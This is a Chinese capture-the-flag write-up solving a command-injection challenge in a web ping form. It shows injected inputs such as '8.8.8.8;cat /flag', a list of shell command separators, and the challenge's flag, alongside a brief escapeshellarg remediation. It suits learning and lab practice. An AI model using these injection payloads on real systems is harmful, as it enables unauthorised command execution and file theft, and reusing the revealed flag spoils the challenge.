[ACTF2020 新生赛]Exec 思路及解法

大家好你们可以叫我凌是个16岁的网络安全学习者。今天我们刷下 [ACTF2020 新生赛]Exec 这道题依旧分享我的解题思路和解法。解题思路先启动靶场。访问靶场主界面。发现有个可以输入IP的窗口我们不着急测试先查看前端代码看看有没有什么其他线索。!DOCTYPE html html langen head meta charsetUTF-8 titlecommand execution/title link hrefhttp://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css relstylesheet / /head body h1PING/h1 form classform-inline methodpost div classinput-group input stylewidth:280px; idtarget typetext classform-control placeholder请输入需要ping的地址 aria-describedbybasic-addon1 nametarget /div br/ br/ button stylewidth:280px; classbtn btn-defaultPING/button /form br /pre /pre/body /html观察代码发现前端以 POST 方式通过 input 标签传输了个 target 的文本类型的参数到后端处理。既然是执行系统的命令那可能该参数是直接拼接到系统命令当中。我们先输入个IP地址看看返回的是什么内容。8.8.8.8 是Google LLC 提供的免费 DNS 服务器 IP 地址感兴趣或不太了解的朋友可以自行搜索了解。此外也可以使用 114.114.114.114 这个 IP 地址它相比 8.8.8.8 在国内更加稳定。很好可以确定的是后端可能是直接拼接到系统命令当中的可能存在RCE漏洞。那在这里我进行补充如果后端代码使用安全的函数则可以在一定程度上提高安全性但最好还是使用白名单进行校验$target escapeshellarg($_POST[target]); system(ping -c 4 . $target);我们继续深入不清楚后端是什么系统那我们先使用 “ls” 探探虚实Windows是使用dir命令PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq0 ttl42 time201.661 ms 64 bytes from 8.8.8.8: seq1 ttl42 time198.211 ms 64 bytes from 8.8.8.8: seq2 ttl42 time194.756 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max 194.756/198.209/201.661 ms index.php很好目录列表出来了不过并没有我们需要的flag。我们使用 “../” 继续深入PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq0 ttl42 time199.019 ms 64 bytes from 8.8.8.8: seq1 ttl42 time198.391 ms 64 bytes from 8.8.8.8: seq2 ttl42 time194.943 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max 194.943/197.451/199.019 ms html localhost依旧没有在这里我们可以继续添加 “../” 来进行深入或者说直接拼接 “/” 查看根目录。这个依个人习惯而定在这里我就按照本人习惯直接查看根目录了。8.8.8.8;ls /发现可能藏有 flag 的文件接下来我们直接使用 cat 尝试读取8.8.8.8;cat /flag这样子flag就成功爆出来了PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: seq0 ttl42 time202.624 ms 64 bytes from 8.8.8.8: seq1 ttl42 time197.311 ms 64 bytes from 8.8.8.8: seq2 ttl42 time198.840 ms --- 8.8.8.8 ping statistics --- 3 packets transmitted, 3 packets received, 0% packet loss round-trip min/avg/max 197.311/199.591/202.624 ms CTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}靶场小结考点标签命令注入、输入验证、管道符与分号核心教训1. 功能点即攻击面页面上的“Ping”功能背后大概率调用了系统命令。看到这类功能第一反应就应该是测试命令拼接符。2. 命令注入的肌肉记忆“;” “|” “” “” “||” “%0a” 这些拼接符应牢牢记住。本题无任何过滤分号 “;” 直接生效。3. 无过滤时的最简 Payload“8.8.8.8; cat /flag” ——前面的合法输入用来让原命令正常执行或者至少不报错分号切断后直接执行读取命令。这是命令注入最经典、最优雅的利用形式。解题关键步骤1. 打开靶场看到输入框和 ping 功能。2. 输入 8.8.8.8 测试正常功能确认页面返回 ping 结果。3. 输入 8.8.8.8; ls 测试拼接页面回显目录列表确认命令注入漏洞存在。4. 输入 8.8.8.8; cat /flag 读取根目录下的 Flag 文件。5. 拿到 FlagCTF2{40e17a4a-6a8d-4fef-ad8f-d0e83710ea0c}。